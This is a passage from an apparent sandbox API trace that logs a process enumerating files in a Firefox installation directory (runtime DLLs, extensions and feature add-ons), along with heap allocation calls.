cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0289.897] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae51e99, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae51e99, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0289.898] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x56c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="AP87F4~1.DLL")) returned 1 [0289.898] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae780ef, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae780ef, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1 [0289.898] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeae9e352, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeae9e352, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1 [0289.898] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="AP4F63~1.DLL")) returned 1 [0289.898] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="AP26B7~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec45af, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaec45af, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="AP40C7~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="APD0F3~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeea81b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaeea81b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="AP25B1~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="AP8526~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf10a88, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf10a88, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="AP507A~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="APEF2A~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf36ceb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf36ceb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0289.899] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x46c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="AP5574~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48b8, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="APDC30~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf5cf35, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf5cf35, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="AP743F~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="AP7678~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaf831a7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaf831a7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="APFAD9~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafa93fe, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafa93fe, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="APF2DB~1.DLL")) returned 1 [0289.900] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafcf67a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeafcf67a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff58d4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeaff58d4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01bb37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb01bb37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x66b8, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb041d9d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb041d9d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0289.901] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb068003, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeb068003, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0289.902] GetProcessHeap () returned 0xaf0000 [0289.902] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0289.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb0da723, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xece35df2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xece35df2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0289.903] GetProcessHeap () returned 0xaf0000 [0289.904] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0289.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb40aac, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb40aac, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0289.905] GetProcessHeap () returned 0xaf0000 [0289.905] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0289.905] GetProcessHeap () returned 0xaf0000 [0289.905] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0289.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\features\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0289.907] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.907] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7f95f1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7f95f1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x221e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aushelper@mozilla.org.xpi", cAlternateFileName="AUSHEL~1.XPI")) returned 1 [0289.907] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed81f880, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed81f880, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x16eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="clicktoplay-rollout@mozilla.org.xpi", cAlternateFileName="CLICKT~1.XPI")) returned 1 [0289.907] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed845ae9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed845ae9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x34dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="e10srollout@mozilla.org.xpi", cAlternateFileName="E10SRO~1.XPI")) returned 1 [0289.907] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed86bd43, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed86bd43, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd4f77, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox@getpocket.com.xpi", cAlternateFileName="FIREFO~1.XPI")) returned 1 [0289.908] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedace38c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedace38c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="followonsearch@mozilla.com.xpi", cAlternateFileName="FOLLOW~1.XPI")) returned 1 [0289.908] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedace38c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedace38c, 